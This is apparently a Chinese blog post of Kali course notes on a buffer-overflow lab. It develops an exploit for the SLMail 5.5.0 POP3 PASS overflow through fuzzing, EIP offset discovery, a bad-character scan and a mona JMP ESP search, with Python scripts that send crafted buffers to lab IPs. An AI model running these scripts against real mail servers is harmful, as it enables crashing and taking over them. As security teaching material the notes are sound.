9.kali缓冲区溢出

渗透第九章

Posted by Sprint#51264 on October 28, 2021

引言

根据苑房弘老师讲的安全牛KALI渗透过程总结

FANGHONG.YUAN@163.COM

缓冲区溢出概念

  • 什么是缓冲区?

    内存中的一个片段,用来存储程序的临时数据

  • 漏洞根源

    计算机程序可以接收参数,但是数据放入之后代码和数据计算机可能无法辨别,导致数据混入代码执行

    攻击者通过变形、构造来绕过过滤非法注入

  • 什么是缓冲区溢出?

    缓冲区边界没有做限制,用户输入的数据过大,溢出占用其他程序的缓冲区

  • 如何发现缓冲区溢出?

    • 源码审计
    • 逆向工程
    • 模糊测试

      向程序堆栈半随机的数据,根据内存变化判断溢出

      测试工具:识别溢出漏洞

Windows缓冲区溢出

  • 环境简介

    SLMail 5.5.0 Mail Server 缓冲区漏洞发现

    ImmunituDebugger_1_85_setup.exe

    mona.py

    mona脚本放到immunity debugger的pyCommands目录下

FUZZER

  • DEP

    保护机制,数据段的内容无法被当作代码段执行

  • ASLR

    动态地址分配系统,程序加载调用的地址不固定

POP3

  • NC 192.168.197.132 110

    USER xxx PASS xxx(数据足够大造成缓冲区溢出)

      #!/user/bin.python
      import socket
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      try:
          print "\nSending evil buffer..."
          s.connect(('192.168.1.119',110))
          data=s.recv(1024)
          print data
    
          s.send('USER xxx'+'\r\n')
          data=s.recv(1024)
          print data
    
          s.send('USER xxx'+'\r\n')
          data=s.recv(1024)
          print data
    
          s.close()
          print "\nDone!"
    
      except:
    
          print "Coulld not connect to POP3"        
    
  • 查RFC查看协议具体内容

  • EIP

    EIP存放下一条指令的位置

  • 过程

    • metasploit-framework/tools/pattern-create.rb 2700#生成唯一字符串,四个为一组,生成2700长度(现在kali貌似没有这个脚本了?只能import)

    • pattern_offset xxxx #计算xxxx在唯一字符串中的偏移量

    • 得知溢出到覆盖EIP地址内容的字符串位置在哪

    • 在指定内存空间存放shellcode

    • 覆盖EIP导致系统直接跳转到指定位置执行shellcode

FUZZING

  • 溢出测试

    向服务器端口发送一定长度的字符串,查看debugger

    • 二分法

      用二分法检验多长字符串可以导致溢出,具体溢出与否查看EIP内容

    • 唯一字符串

      生成唯一字符串发送给服务器,用debugger查看EIP内容,返回唯一字符串中查找该EIP内容所在位置,即可推断出数据内容上限

      #!/usr/bin/python
    
      import socket
    
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      buffer='A'*2606+'B'*4+'C'*900
    
      try:
          print "\nSending evil buffer..."
          s.connect(('192.168.197.132',110))
          date=s.recv(1024)
          s.send('USER test'+'\r\n')
          data=s.recv(1024)
          s.send('PASS'+buffer+'\r\n')
          print "\nDone!"
      except:
          print "Could not connect to POP3!"
    
    
    
  • 检验坏字符

    • 什么是坏字符

      被系统过滤的字符,非法字符

    • 过程

      在原先溢出数据的基础上,将所有可能字符发送给服务器端,通过debugger查看哪些被过滤

    
      #!/usr/bin/python
    
      import socket
    
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      badchars="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    
      #\0a\00
    
      buffer="A"*2607+"B"*4+badchars
      try:
          print "\nSending evil buffer..."
          s.connect(('192.168.197.132',110))
          date=s.recv(1024)
          s.send('USER test'+'\r\n')
          data=s.recv(1024)
          s.send('PASS'+buffer+'\r\n')
          print "\nDone!"
      except:
          print "Could not connect to POP3!"
    
    

理想状态下是找到溢出长度,测试ESP长度,填入shellcode,更改EIP指向地址为ESP,但是ESP的地址并不是固定的,系统重启或者内存地址会更改,会导致无法找到ESP进行shellcode执行

  • 变通思路

    • 系统自带模块

      找到固定地址的系统自带模块,其中会包含大量的指令,不免有JMP ESP这一条地址跳转指令,由该指令间接跳转到ESP执行shellcode

    • mona.py

      mona脚本识别内存模块,搜索return addressJMP ESP指令的模块

      在immunity debugger最下方的输入框可以执行外部的python脚本

        !mona modoules#查看所有模块
      
        #Rebase属性表示系统重启之后内存地址是否发生变化,我们要找的肯定是False
      
        #后面三个属性是操作系统保护机制,我们要找不受保护的模块
      
        #OS DLL必须为true,就是系统自带的库,只有系统自带我们才能在不同的机器上执行
        Openc32.dll符合要继续找有没有JMP ESP
      
        !mona find -s "" -m Openc32.dll 
        #不能直接找JMP ESP,现在的层面是操作系统层面,只能找命令对应的二进制而不是汇编指令